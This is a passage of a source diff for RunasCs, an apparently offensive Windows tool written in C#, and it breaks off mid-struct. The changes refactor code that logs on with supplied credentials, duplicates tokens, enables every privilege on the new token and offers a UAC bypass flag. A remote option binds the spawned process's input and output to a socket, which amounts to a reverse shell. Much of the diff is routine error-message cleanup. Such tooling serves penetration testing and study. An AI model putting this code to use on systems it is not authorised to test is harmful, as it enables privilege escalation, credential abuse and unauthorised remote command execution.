+ throw new RunasCsException("DuplicateTokenEx", true); + if (IsLimitedUserLogon(hTokenDuplicate, username, domainName, password, out logonTypeNotFiltered)) + Console.Out.WriteLine(String.Format("[*] Warning: Logon for user '{0}' is limited. Use the --logon-type value '{1}' to obtain a more privileged token", username, logonTypeNotFiltered)); + GetUserEnvironmentBlock(hTokenDuplicate, username, forceUserProfileCreation, userProfileExists, out lpEnvironment); + // Enable SeAssignPrimaryTokenPrivilege on our current process needed by the kernel to make the CreateProcessAsUserW call + AccessToken.EnablePrivilege("SeAssignPrimaryTokenPrivilege", WindowsIdentity.GetCurrent().Token); + // Enable all privileges for the token of the new process + AccessToken.EnableAllPrivileges(hTokenDuplicate); + //the inherit handle flag must be true otherwise the pipe handles won't be inherited and the output won't be retrieved + if (!CreateProcessAsUser(hTokenDuplicate, null, commandLine, IntPtr.Zero, IntPtr.Zero, true, CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT, lpEnvironment, Environment.GetEnvironmentVariable("SystemRoot") + "\\System32", ref startupInfo, out processInfo)) + throw new RunasCsException("CreateProcessAsUser", true); + if (lpEnvironment != IntPtr.Zero) DestroyEnvironmentBlock(lpEnvironment); + CloseHandle(hToken); + CloseHandle(hTokenDuplicate); + } + + public RunasCs() + { + this.hOutputRead = new IntPtr(0); + this.hOutputWrite = new IntPtr(0); + this.hErrorWrite = new IntPtr(0); + this.socket = new IntPtr(0); + this.stationDaclObj = null; + this.hTokenPreviousImpersonatingThread = new IntPtr(0); + } + public void CleanupHandles() { - if(this.hOutputReadTmp != IntPtr.Zero) CloseHandle(this.hOutputReadTmp); if(this.hOutputRead != IntPtr.Zero) CloseHandle(this.hOutputRead); if(this.hOutputWrite != IntPtr.Zero) CloseHandle(this.hOutputWrite); if(this.hErrorWrite != IntPtr.Zero) CloseHandle(this.hErrorWrite); if(this.socket != IntPtr.Zero) closesocket(this.socket); if(this.stationDaclObj != null) this.stationDaclObj.CleanupHandles(); - this.hOutputReadTmp = IntPtr.Zero; this.hOutputRead = IntPtr.Zero; this.hOutputWrite = IntPtr.Zero; this.hErrorWrite = IntPtr.Zero; this.socket = IntPtr.Zero; + this.hTokenPreviousImpersonatingThread = IntPtr.Zero; this.stationDaclObj = null; } - public string RunAs(string username, string password, string cmd, string domainName, uint processTimeout, int logonType, int createProcessFunction, string[] remote, bool createUserProfile, bool bypassUac) + public string RunAs(string username, string password, string cmd, string domainName, uint processTimeout, int logonType, int createProcessFunction, string[] remote, bool forceUserProfileCreation, bool bypassUac, bool remoteImpersonation) /* int createProcessFunction: 0: CreateProcessAsUserW(); @@ -433,182 +678,69 @@ public string RunAs(string username, string password, string cmd, string domainN 2: CreateProcessWithLogonW(); */ { - bool success; - string output = ""; - string desktopName = ""; - string commandLine = cmd; - string processPath = null; - int sessionId = System.Diagnostics.Process.GetCurrentProcess().SessionId; - int logonFlags = (createUserProfile) ? (int)LOGON_WITH_PROFILE : 0; - - IntPtr hCurrentProcess = Process.GetCurrentProcess().Handle; - + string commandLine = ParseCommonProcessesInCommandline(cmd); + int logonProvider = LOGON32_PROVIDER_DEFAULT; + int logonTypeNotFiltered = 0; STARTUPINFO startupInfo = new STARTUPINFO(); startupInfo.cb = Marshal.SizeOf(startupInfo); startupInfo.lpReserved = null; - - this.stationDaclObj = new WindowStationDACL(); ProcessInformation processInfo = new ProcessInformation(); - - if(processTimeout > 0) { - if(!CreateAnonymousPipeEveryoneAccess(ref this.hOutputReadTmp, ref this.hOutputWrite)) { - throw new RunasCsException("CreatePipe failed with error code: " + Marshal.GetLastWin32Error()); - } - //1998's code. Old but gold https://support.microsoft.com/en-us/help/190351/how-to-spawn-console-processes-with-redirected-standard-handles - if(!DuplicateHandle(hCurrentProcess, this.hOutputWrite, hCurrentProcess, out this.hErrorWrite, 0, true, DUPLICATE_SAME_ACCESS)) { - throw new RunasCsException("DuplicateHandle stderr write pipe failed with error code: " + Marshal.GetLastWin32Error()); - } - if(!DuplicateHandle(hCurrentProcess, this.hOutputReadTmp, hCurrentProcess, out this.hOutputRead, 0, false, DUPLICATE_SAME_ACCESS)) { - throw new RunasCsException("DuplicateHandle stdout read pipe failed with error code: " + Marshal.GetLastWin32Error()); - } - CloseHandle(this.hOutputReadTmp); - this.hOutputReadTmp = IntPtr.Zero; - - UInt32 PIPE_NOWAIT = 0x00000001; - if(!SetNamedPipeHandleState(this.hOutputRead, ref PIPE_NOWAIT, IntPtr.Zero, IntPtr.Zero)) { - throw new RunasCsException("SetNamedPipeHandleState failed with error code: " + Marshal.GetLastWin32Error()); - } - - startupInfo.dwFlags = Startf_UseStdHandles; - startupInfo.hStdOutput = this.hOutputWrite; - startupInfo.hStdError = this.hErrorWrite; - processPath = Environment.GetEnvironmentVariable("ComSpec"); - commandLine = "/c " + cmd; - - } else if( remote != null ) { - this.socket = connectRemote(remote); - startupInfo.dwFlags = Startf_UseStdHandles; - startupInfo.hStdInput = this.socket; - startupInfo.hStdOutput = this.socket; - startupInfo.hStdError = this.socket; - } - - desktopName = this.stationDaclObj.AddAclToActiveWindowStation(domainName, username, logonType); + // setup the std handles for the process based on the user input + RunasSetupStdHandlesForProcess(processTimeout, remote, ref startupInfo, out this.hOutputWrite, out this.hErrorWrite, out this.hOutputRead, out socket); + // add the proper DACL on the window station and desktop that will be used + this.stationDaclObj = new WindowStationDACL(); + string desktopName = this.stationDaclObj.AddAclToActiveWindowStation(domainName, username, logonType); startupInfo.lpDesktop = desktopName; - - if(createProcessFunction == 2){ - if (logonType != LOGON32_LOGON_INTERACTIVE && logonType != LOGON32_LOGON_NEW_CREDENTIALS && !bypassUac) { - Console.Out.WriteLine("[*] Warning: Using function CreateProcessWithLogonW is not compatible with logon type " + logonType.ToString() + ". Reverting to logon type Interactive (2)..."); - Console.Out.Flush(); - } - if (logonType == LOGON32_LOGON_NEW_CREDENTIALS) - { - if (domainName == "") - domainName = "."; - success = CreateProcessWithLogonW(username, domainName, password, LOGON_NETCREDENTIALS_ONLY, processPath, commandLine, CREATE_NO_WINDOW, (UInt32)0, null, ref startupInfo, out processInfo); - if (success == false) - throw new RunasCsException("CreateProcessWithLogonW logon type 9 failed with " + Marshal.GetLastWin32Error()); - } - else { - IntPtr hTokenUacCheck = new IntPtr(0); - // we use the logon type 2 - Interactive because CreateProcessWithLogonW internally use this logon type for the logon - success = LogonUser(username, domainName, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, ref hTokenUacCheck); - if (success == false) - throw new RunasCsException("Wrong Credentials. LogonUser failed with error code: " + Marshal.GetLastWin32Error()); - if (AccessToken.IsLimitedUACToken(hTokenUacCheck)) { - if (bypassUac){ - success = CreateProcessWithLogonWUacBypass(logonType, username, domainName, password, processPath, commandLine, ref startupInfo, out processInfo); - if (success == false) - throw new RunasCsException("CreateProcessWithLogonWUacBypass failed with " + Marshal.GetLastWin32Error()); - } - else { - if (logonType == LOGON32_LOGON_INTERACTIVE || logonType == 11 /*CachedInteractive*/) { // only these logon types are filtered by UAC - Console.Out.WriteLine(String.Format("[*] Warning: Token retrieved for user '{0}' is limited by UAC. Use the flag -b to try a UAC bypass or use the NetworkCleartext (8) in --logon-type.", username)); - Console.Out.Flush(); - } - success = CreateProcessWithLogonW(username, domainName, password, (UInt32)logonFlags, processPath, commandLine, CREATE_NO_WINDOW, (UInt32)0, null, ref startupInfo, out processInfo); - if (success == false) - throw new RunasCsException("CreateProcessWithLogonW logon type 2 failed with " + Marshal.GetLastWin32Error()); - } - } - CloseHandle(hTokenUacCheck); - } - } else { - IntPtr hToken = new IntPtr(0); - IntPtr hTokenDuplicate = new IntPtr(0); - if(logonType == LOGON32_LOGON_NEW_CREDENTIALS) - success = LogonUser(username, domainName, password, logonType, LOGON32_PROVIDER_WINNT50, ref hToken); + // setup proper logon provider for new credentials (9) logons + if (logonType == LOGON32_LOGON_NEW_CREDENTIALS) { + logonProvider = LOGON32_PROVIDER_WINNT50; + if (domainName == "") // fixing bugs in seclogon when using LOGON32_LOGON_NEW_CREDENTIALS... + domainName = "."; + } + // we check if the user has been granted the logon type requested, if not we show a message suggesting which logon type can be used to succesfully logon + CheckAvailableUserLogonType(username, password, domainName, logonType, logonProvider); + // Use the proper CreateProcess* function + if (remoteImpersonation) + RunasRemoteImpersonation(username, domainName, password, logonType, logonProvider, commandLine, ref startupInfo, ref processInfo, ref logonTypeNotFiltered); + else { + bool userProfileExists; + uint logonFlags = 0; + userProfileExists = IsUserProfileCreated(username, password, domainName, logonType); + // we load the user profile only if it has been already created or the creation is forced from the flag --force-profile + if (userProfileExists || forceUserProfileCreation) + logonFlags = LOGON_WITH_PROFILE; + if (logonType != LOGON32_LOGON_NEW_CREDENTIALS && !forceUserProfileCreation && !userProfileExists) + Console.Out.WriteLine("[*] Warning: User profile directory for user " + username + " does not exists. Use --force-profile if you want to force the creation."); + if (createProcessFunction == 2) + RunasCreateProcessWithLogonW(username, domainName, password, logonType, logonFlags, commandLine, bypassUac, ref startupInfo, ref processInfo, ref logonTypeNotFiltered); else - success = LogonUser(username, domainName, password, logonType, LOGON32_PROVIDER_DEFAULT, ref hToken); - if(success == false) - throw new RunasCsException("Wrong Credentials. LogonUser failed with error code: " + Marshal.GetLastWin32Error()); - - SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES(); - sa.bInheritHandle = true; - sa.Length = Marshal.SizeOf(sa); - sa.lpSecurityDescriptor = (IntPtr)0; - success = DuplicateTokenEx(hToken, GENERIC_ALL, ref sa, SECURITY_IMPERSONATION_LEVEL.SecurityDelegation, TokenType, ref hTokenDuplicate); - if(success == false) - throw new RunasCsException("DuplicateTokenEx failed with error code: " + Marshal.GetLastWin32Error()); - - if (AccessToken.IsLimitedUACToken(hTokenDuplicate)) { if (bypassUac) - { - success = CreateProcessWithLogonWUacBypass(logonType, username, domainName, password, processPath, commandLine, ref startupInfo, out processInfo); - if (success == false) - throw new RunasCsException("CreateProcessWithLogonWUacBypass failed with " + Marshal.GetLastWin32Error()); - } - else - { - if (logonType == LOGON32_LOGON_INTERACTIVE || logonType == 11 /*CachedInteractive*/){ // only these logon types are filtered by UAC - Console.Out.WriteLine(String.Format("[*] Warning: Token retrieved for user '{0}' is limited by UAC. Use the flag -b to try a UAC bypass or use the NetworkCleartext (8) in --logon-type.", username)); - Console.Out.Flush(); - } - } - } - else - bypassUac = false; // we reset this flag as it's not considered when token is not limited - - if (!bypassUac) { - string warning; - IntPtr lpEnvironment; - // obtain environmentBlock for desired user - success = getUserEnvironmentBlock(hTokenDuplicate, out lpEnvironment, out warning); - if (success == false) - { - //Console.Out.WriteLine(warning); // this is a debug message - Console.Out.WriteLine(String.Format("[*] Warning: Unable to obtain environment for user '{0}'. Environment variables of created process might be incorrect.", username)); - Console.Out.Flush(); - } - - // enable all privileges assigned to the token - if (logonType != LOGON32_LOGON_NETWORK && logonType != LOGON32_LOGON_NETWORK_CLEARTEXT) - AccessToken.EnableAllPrivileges(hTokenDuplicate); - + throw new RunasCsException(String.Format("The flag --bypass-uac is not compatible with {0} but only with --function '2' (CreateProcessWithLogonW)", GetProcessFunction(createProcessFunction))); if (createProcessFunction == 0) - { - //the inherit handle flag must be true otherwise the pipe handles won't be inherited and the output won't be retrieved - success = CreateProcessAsUser(hTokenDuplicate, processPath, commandLine, IntPtr.Zero, IntPtr.Zero, true, CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT, lpEnvironment, Environment.GetEnvironmentVariable("SystemRoot") + "\\System32", ref startupInfo, out processInfo); - if (success == false) - throw new RunasCsException("CreateProcessAsUser failed with error code : " + Marshal.GetLastWin32Error()); - } + RunasCreateProcessAsUserW(username, domainName, password, logonType, logonProvider, commandLine, forceUserProfileCreation, userProfileExists, ref startupInfo, ref processInfo, ref logonTypeNotFiltered); else if (createProcessFunction == 1) - { - success = CreateProcessWithTokenW(hTokenDuplicate, logonFlags, processPath, commandLine, CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT, lpEnvironment, null, ref startupInfo, out processInfo); - if (success == false) - throw new RunasCsException("CreateProcessWithTokenW failed with error code: " + Marshal.GetLastWin32Error()); - } - - if (lpEnvironment != IntPtr.Zero) DestroyEnvironmentBlock(lpEnvironment); + RunasCreateProcessWithTokenW(username, domainName, password, commandLine, logonType, logonFlags, logonProvider, ref startupInfo, ref processInfo, ref logonTypeNotFiltered); } - CloseHandle(hToken); - CloseHandle(hTokenDuplicate); } - - if(processTimeout > 0) { + Console.Out.Flush(); // flushing console before waiting for child process execution + string output = ""; + if (processTimeout > 0) { CloseHandle(this.hOutputWrite); CloseHandle(this.hErrorWrite); this.hOutputWrite = IntPtr.Zero; this.hErrorWrite = IntPtr.Zero; WaitForSingleObject(processInfo.process, processTimeout); - output += ReadOutputFromPipe(this.hOutputRead); + output += "\r\n" + ReadOutputFromPipe(this.hOutputRead); } else { - output += "[+] Running in session " + sessionId.ToString() + " with process function " + GetProcessFunction(createProcessFunction) + "\r\n"; + int sessionId = System.Diagnostics.Process.GetCurrentProcess().SessionId; + if (remoteImpersonation) + output += "\r\n[+] Running in session " + sessionId.ToString() + " with process function 'Remote Impersonation' \r\n"; + else + output += "\r\n[+] Running in session " + sessionId.ToString() + " with process function " + GetProcessFunction(createProcessFunction) + "\r\n"; output += "[+] Using Station\\Desktop: " + desktopName + "\r\n"; - output += "[+] Async process '" + commandLine + "' with pid " + processInfo.processId + " created and left in background.\r\n"; + output += "[+] Async process '" + commandLine + "' with pid " + processInfo.processId + " created in background.\r\n"; } - CloseHandle(processInfo.process); CloseHandle(processInfo.thread); this.CleanupHandles(); @@ -821,17 +953,9 @@ private struct ACCESS_ALLOWED_ACE [DllImport("advapi32.dll", CharSet=CharSet.Unicode, SetLastError = true)] private static extern bool LookupAccountName(string lpSystemName, string lpAccountName, [MarshalAs(UnmanagedType.LPArray)] byte[] Sid, ref uint cbSid, StringBuilder ReferencedDomainName, ref uint cchReferencedDomainName, out SID_NAME_USE peUse); - private IntPtr hWinsta; private IntPtr hDesktop; private IntPtr userSid; - - public WindowStationDACL() - { - this.hWinsta = IntPtr.Zero; - this.hDesktop = IntPtr.Zero; - this.userSid = IntPtr.Zero; - } private IntPtr GetUserSid(string domain, string username){ IntPtr userSid = IntPtr.Zero; @@ -861,9 +985,8 @@ private IntPtr GetUserSid(string domain, string username){ } } else{ - string error = "The username " + fqan + " has not been found.\r\n"; - error += "[-] LookupAccountName failed with error code " + Marshal.GetLastWin32Error(); - throw new RunasCsException(error); + string error = "The username " + fqan + " has not been found. "; + throw new RunasCsException(error + "LookupAccountName", true); } if (err == 0) { @@ -871,9 +994,8 @@ private IntPtr GetUserSid(string domain, string username){ Marshal.Copy(Sid, 0, userSid, (int)cbSid); } else{ - string error = "The username " + fqan + " has not been found.\r\n"; - error += "[-] LookupAccountName failed with error code " + Marshal.GetLastWin32Error(); - throw new RunasCsException(error); + string error = "The username " + fqan + " has not been found. "; + throw new RunasCsException(error + "LookupAccountName", true); } return userSid; } @@ -893,13 +1015,9 @@ private void AddAllowedAceToDACL(IntPtr pDacl, ACCESS_MASK mask, byte aceFlags, Marshal.StructureToPtr(pNewAceStruct, pNewAcePtr, false); IntPtr sidStartPtr = new IntPtr(pNewAcePtr.ToInt64() + offset); if (!CopySid((uint)GetLengthSid(this.userSid), sidStartPtr, this.userSid)) - { - throw new RunasCsException("CopySid failed with error code " + Marshal.GetLastWin32Error()); - } + throw new RunasCsException("CopySid", true); if (!AddAce(pDacl, ACL_REVISION, MAXDWORD, pNewAcePtr, aceSize)) - { - throw new RunasCsException("AddAce failed with error code " + Marshal.GetLastWin32Error()); - } + throw new RunasCsException("AddAce", true); Marshal.FreeHGlobal(pNewAcePtr); } @@ -922,19 +1040,19 @@ private void AddAceToWindowStation(){ { if (Marshal.GetLastWin32Error() != ERROR_INSUFFICIENT_BUFFER) { - throw new RunasCsException("GetUserObjectSecurity 1 size failed with error code " + Marshal.GetLastWin32Error()); + throw new RunasCsException("GetUserObjectSecurity 1 size", true); } } pSd = Marshal.AllocHGlobal((int)cbSd); // Obtain the security descriptor for the desktop object. if (!GetUserObjectSecurity(this.hWinsta, ref si, pSd, cbSd, out cbSd)) { - throw new RunasCsException("GetUserObjectSecurity 2 failed with error code " + Marshal.GetLastWin32Error()); + throw new RunasCsException("GetUserObjectSecurity 2", true); } // Get the DACL from the security descriptor. if (!GetSecurityDescriptorDacl(pSd, out fDaclPresent, ref pDacl, out fDaclExist)) { - throw new RunasCsException("GetSecurityDescriptorDacl failed with error code " + Marshal.GetLastWin32Error()); + throw new RunasCsException("GetSecurityDescriptorDacl", true); } // Get the size information of the DACL. if (pDacl == IntPtr.Zero) @@ -945,7 +1063,7 @@ private void AddAceToWindowStation(){ { if (!GetAclInformation(pDacl, ref aclSizeInfo, (uint)Marshal.SizeOf(typeof(ACL_SIZE_INFORMATION)), ACL_INFORMATION_CLASS.AclSizeInformation)) { - throw new RunasCsException("GetAclInformation failed with error code " + Marshal.GetLastWin32Error()); + throw new RunasCsException("GetAclInformation", true); } cbDacl = aclSizeInfo.AclBytesInUse; } @@ -955,7 +1073,7 @@ private void AddAceToWindowStation(){ // Initialize the new security descriptor. if (!InitializeSecurityDescriptor(pNewSd, SECURITY_DESCRIPTOR_REVISION)) { - throw new RunasCsException("InitializeSecurityDescriptor failed with error code " + Marshal.GetLastWin32Error()); + throw new RunasCsException("InitializeSecurityDescriptor", true); } // Compute the size of a DACL to be added to the new security descriptor. @@ -970,7 +1088,7 @@ private void AddAceToWindowStation(){ // Initialize the new DACL. if (!InitializeAcl(pNewDacl, cbNewDacl, ACL_REVISION)) { - throw new RunasCsException("InitializeAcl failed with error code " + Marshal.GetLastWin32Error()); + throw new RunasCsException("InitializeAcl", true); } // If the original DACL is present, copy it to the new DACL. @@ -983,13 +1101,13 @@ private void AddAceToWindowStation(){ // Get an ACE. if (!GetAce(pDacl, dwIndex, out pTempAce)) { - throw new RunasCsException("GetAce failed with error code " + Marshal.GetLastWin32Error()); + throw new RunasCsException("GetAce", true); } ACE_HEADER pTempAceStruct = (ACE_HEADER)Marshal.PtrToStructure(pTempAce, typeof(ACE_HEADER)); // Add the ACE to the new ACL. if (!AddAce(pNewDacl, ACL_REVISION, MAXDWORD, pTempAce, (uint)pTempAceStruct.AceSize)) { - throw new RunasCsException("AddAce failed with error code " + Marshal.GetLastWin32Error()); + throw new RunasCsException("AddAce", true); } } } @@ -999,19 +1117,19 @@ private void AddAceToWindowStation(){ // Assign the new DACL to the new security descriptor. if (!SetSecurityDescriptorDacl(pNewSd, true, pNewDacl, false)) { - throw new RunasCsException("SetSecurityDescriptorDacl failed with error code " + Marshal.GetLastWin32Error()); + throw new RunasCsException("SetSecurityDescriptorDacl", true); } // Set the new security descriptor for the desktop object. if (!SetUserObjectSecurity(this.hWinsta, ref si, pNewSd)) { - throw new RunasCsException("SetUserObjectSecurity failed with error code " + Marshal.GetLastWin32Error()); + throw new RunasCsException("SetUserObjectSecurity", true); } Marshal.FreeHGlobal(pSd); Marshal.FreeHGlobal(pNewSd); Marshal.FreeHGlobal(pNewDacl); } - + private void AddAceToDesktop(){ uint cbSd = 0; bool fDaclPresent = false; @@ -1031,19 +1149,19 @@ private void AddAceToDesktop(){ { if (Marshal.GetLastWin32Error() != ERROR_INSUFFICIENT_BUFFER) { - throw new RunasCsException("GetUserObjectSecurity 1 size failed with error code " + Marshal.GetLastWin32Error()); + throw new RunasCsException("GetUserObjectSecurity 1 size", true); } } pSd = Marshal.AllocHGlobal((int)cbSd); // Obtain the security descriptor for the desktop object. if (!GetUserObjectSecurity(this.hDesktop, ref si, pSd, cbSd, out cbSd)) { - throw new RunasCsException("GetUserObjectSecurity 2 failed with error code " + Marshal.GetLastWin32Error()); + throw new RunasCsException("GetUserObjectSecurity 2", true); } // Get the DACL from the security descriptor. if (!GetSecurityDescriptorDacl(pSd, out fDaclPresent, ref pDacl, out fDaclExist)) { - throw new RunasCsException("GetSecurityDescriptorDacl failed with error code " + Marshal.GetLastWin32Error()); + throw new RunasCsException("GetSecurityDescriptorDacl", true); } // Get the size information of the DACL. if (pDacl == IntPtr.Zero) @@ -1054,7 +1172,7 @@ private void AddAceToDesktop(){ { if (!GetAclInformation(pDacl, ref aclSizeInfo, (uint)Marshal.SizeOf(typeof(ACL_SIZE_INFORMATION)), ACL_INFORMATION_CLASS.AclSizeInformation)) { - throw new RunasCsException("GetAclInformation failed with error code " + Marshal.GetLastWin32Error()); + throw new RunasCsException("GetAclInformation", true); } cbDacl = aclSizeInfo.AclBytesInUse; } @@ -1064,7 +1182,7 @@ private void AddAceToDesktop(){ // Initialize the new security descriptor. if (!InitializeSecurityDescriptor(pNewSd, SECURITY_DESCRIPTOR_REVISION)) { - throw new RunasCsException("InitializeSecurityDescriptor failed with error code " + Marshal.GetLastWin32Error()); + throw new RunasCsException("InitializeSecurityDescriptor", true); } // Compute the size of a DACL to be added to the new security descriptor. @@ -1079,7 +1197,7 @@ private void AddAceToDesktop(){ // Initialize the new DACL. if (!InitializeAcl(pNewDacl, cbNewDacl, ACL_REVISION)) { - throw new RunasCsException("InitializeAcl failed with error code " + Marshal.GetLastWin32Error()); + throw new RunasCsException("InitializeAcl", true); } // If the original DACL is present, copy it to the new DACL. @@ -1092,13 +1210,13 @@ private void AddAceToDesktop(){ // Get an ACE. if (!GetAce(pDacl, dwIndex, out pTempAce)) { - throw new RunasCsException("GetAce failed with error code " + Marshal.GetLastWin32Error()); + throw new RunasCsException("GetAce", true); } ACE_HEADER pTempAceStruct = (ACE_HEADER)Marshal.PtrToStructure(pTempAce, typeof(ACE_HEADER)); // Add the ACE to the new ACL. if (!AddAce(pNewDacl, ACL_REVISION, MAXDWORD, pTempAce, (uint)pTempAceStruct.AceSize)) { - throw new RunasCsException("AddAce failed with error code " + Marshal.GetLastWin32Error()); + throw new RunasCsException("AddAce", true); } } } @@ -1106,25 +1224,30 @@ private void AddAceToDesktop(){ // Add a new ACE to the new DACL. if (!AddAccessAllowedAce(pNewDacl, ACL_REVISION, ACCESS_MASK.DESKTOP_ALL, this.userSid)) { - throw new RunasCsException("AddAccessAllowedAce failed with error code " + Marshal.GetLastWin32Error()); + throw new RunasCsException("AddAccessAllowedAce", true); } // Assign the new DACL to the new security descriptor. if (!SetSecurityDescriptorDacl(pNewSd, true, pNewDacl, false)) { - throw new RunasCsException("SetSecurityDescriptorDacl failed with error code " + Marshal.GetLastWin32Error()); + throw new RunasCsException("SetSecurityDescriptorDacl", true); } // Set the new security descriptor for the desktop object. if (!SetUserObjectSecurity(this.hDesktop, ref si, pNewSd)) { - throw new RunasCsException("SetUserObjectSecurity failed with error code " + Marshal.GetLastWin32Error()); + throw new RunasCsException("SetUserObjectSecurity", true); } Marshal.FreeHGlobal(pSd); Marshal.FreeHGlobal(pNewSd); Marshal.FreeHGlobal(pNewDacl); } - + public WindowStationDACL() + { + this.hWinsta = IntPtr.Zero; + this.hDesktop = IntPtr.Zero; + this.userSid = IntPtr.Zero; + } public string AddAclToActiveWindowStation(string domain, string username, int logonType){ string lpDesktop = ""; @@ -1134,43 +1257,37 @@ public string AddAclToActiveWindowStation(string domain, string username, int lo IntPtr hWinstaSave = GetProcessWindowStation(); if(hWinstaSave == IntPtr.Zero) { - throw new RunasCsException("GetProcessWindowStation failed with error code " + Marshal.GetLastWin32Error()); + throw new RunasCsException("GetProcessWindowStation", true); } if(!GetUserObjectInformation(hWinstaSave, UOI_NAME, stationNameBytes, 256, out lengthNeeded)){ - throw new RunasCsException("GetUserObjectInformation failed with error code " + Marshal.GetLastWin32Error()); + throw new RunasCsException("GetUserObjectInformation", true); } stationName = Encoding.Default.GetString(stationNameBytes).Substring(0, (int)lengthNeeded-1); - // this should be avoided with the LOGON32_LOGON_NEW_CREDENTIALS logon type or some bug can happen in LookupAccountName() if (logonType != 9) { this.hWinsta = OpenWindowStation(stationName, false, ACCESS_MASK.READ_CONTROL | ACCESS_MASK.WRITE_DAC); if (this.hWinsta == IntPtr.Zero) { - throw new RunasCsException("OpenWindowStation failed with error code " + Marshal.GetLastWin32Error()); + throw new RunasCsException("OpenWindowStation", true); } - if (!SetProcessWindowStation(this.hWinsta)) { - throw new RunasCsException("SetProcessWindowStation hWinsta failed with error code " + Marshal.GetLastWin32Error()); + throw new RunasCsException("SetProcessWindowStation hWinsta", true); } - this.hDesktop = OpenDesktop("Default", 0, false, ACCESS_MASK.READ_CONTROL | ACCESS_MASK.WRITE_DAC | ACCESS_MASK.DESKTOP_WRITEOBJECTS | ACCESS_MASK.DESKTOP_READOBJECTS); if (!SetProcessWindowStation(hWinstaSave)) { - throw new RunasCsException("SetProcessWindowStation hWinstaSave failed with error code " + Marshal.GetLastWin32Error()); + throw new RunasCsException("SetProcessWindowStation hWinstaSave", true); } - if (this.hWinsta == IntPtr.Zero) { - throw new RunasCsException("OpenDesktop failed with error code " + Marshal.GetLastWin32Error()); + throw new RunasCsException("OpenDesktop", true); } - this.userSid = GetUserSid(domain, username); AddAceToWindowStation(); AddAceToDesktop(); } - lpDesktop = stationName + "\\Default"; return lpDesktop; } @@ -1184,7 +1301,6 @@ public void CleanupHandles() } public static class AccessToken{ - // Mandatory Label SIDs (integrity levels) private const int SECURITY_MANDATORY_UNTRUSTED_RID = 0; private const int SECURITY_MANDATORY_LOW_RID = 0x1000; @@ -1195,8 +1311,25 @@ public static class AccessToken{ private const uint SE_PRIVILEGE_ENABLED = 0x00000002; private static readonly byte[] MANDATORY_LABEL_AUTHORITY = new byte[] { 0, 0, 0, 0, 0, 16 }; + public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000; + public const UInt32 STANDARD_RIGHTS_READ = 0x00020000; + public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001; + public const UInt32 TOKEN_DUPLICATE = 0x0002; + public const UInt32 TOKEN_IMPERSONATE = 0x0004; + public const UInt32 TOKEN_QUERY = 0x0008; + public const UInt32 TOKEN_QUERY_SOURCE = 0x0010; + public const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020; + public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040; + public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080; + public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100; + public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY); + public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | + TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | + TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | + TOKEN_ADJUST_SESSIONID); + [DllImport("advapi32.dll", SetLastError=true)] - private static extern bool GetTokenInformation(IntPtr TokenHandle,TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation,uint TokenInformationLength,out uint ReturnLength); + private static extern bool GetTokenInformation(IntPtr TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation,uint TokenInformationLength,out uint ReturnLength); [DllImport("advapi32.dll", SetLastError = true, CharSet=CharSet.Unicode)] [return: MarshalAs(UnmanagedType.Bool)] @@ -1223,7 +1356,14 @@ public static class AccessToken{ [DllImport("advapi32.dll", SetLastError = true)] private static extern int LookupPrivilegeValue(string lpsystemname, string lpname, [MarshalAs(UnmanagedType.Struct)] ref LUID lpLuid); - public enum TOKEN_INFORMATION_CLASS + [DllImport("advapi32.dll", SetLastError = true, BestFitMapping = false, ThrowOnUnmappableChar = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool LogonUser([MarshalAs(UnmanagedType.LPStr)] string pszUserName, [MarshalAs(UnmanagedType.LPStr)] string pszDomain, [MarshalAs(UnmanagedType.LPStr)] string pszPassword, int dwLogonType, int dwLogonProvider, ref IntPtr phToken); + + [DllImport("Kernel32.dll", SetLastError = true)] + private static extern bool CloseHandle(IntPtr handle); + + private enum TOKEN_INFORMATION_CLASS { TokenUser = 1, TokenGroups, @@ -1288,7 +1428,7 @@ public enum IntegrityLevel : int ProtectedProcess = SECURITY_MANDATORY_PROTECTED_PROCESS_RID } - public enum TokenGroupAttributes : uint + private enum TokenGroupAttributes : uint { Disabled = 0, SE_GROUP_MANDATORY = 1, @@ -1302,12 +1442,6 @@ public enum TokenGroupAttributes : uint SE_GROUP_LOGON_ID = 0xC0000000 } - private struct TOKEN_PRIVILEGES { - public int PrivilegeCount; - [MarshalAs(UnmanagedType.ByValArray, SizeConst=64)] - public LUID_AND_ATTRIBUTES [] Privileges; - } - [StructLayout(LayoutKind.Sequential)] private struct TOKEN_PRIVILEGES_2 { @@ -1316,22 +1450,6 @@ private struct TOKEN_PRIVILEGES_2 public UInt32 Attributes; } - [StructLayout(LayoutKind.Sequential, Pack = 4)] - private struct LUID_AND_ATTRIBUTES { - public LUID Luid; - public UInt32 Attributes; - } - - [StructLayout(LayoutKind.Sequential)] - private struct LUID { - public UInt32 LowPart; - public Int32 HighPart; - } - - private struct TOKEN_ELEVATION { - public UInt32 TokenIsElevated; - } - [StructLayout(LayoutKind.Sequential)] private struct SID_IDENTIFIER_AUTHORITY { @@ -1352,6 +1470,37 @@ private struct TOKEN_MANDATORY_LABEL public SID_AND_ATTRIBUTES Label; } + public struct TOKEN_ELEVATION + { + public UInt32 TokenIsElevated; + } + + public struct TOKEN_ELEVATION_TYPE + { + public UInt32 TokenElevationType; + } + + [StructLayout(LayoutKind.Sequential)] + public struct LUID + { + public UInt32 LowPart; + public Int32 HighPart; + } + + [StructLayout(LayoutKind.Sequential, Pack = 4)] + public struct LUID_AND_ATTRIBUTES + { + public LUID Luid; + public UInt32 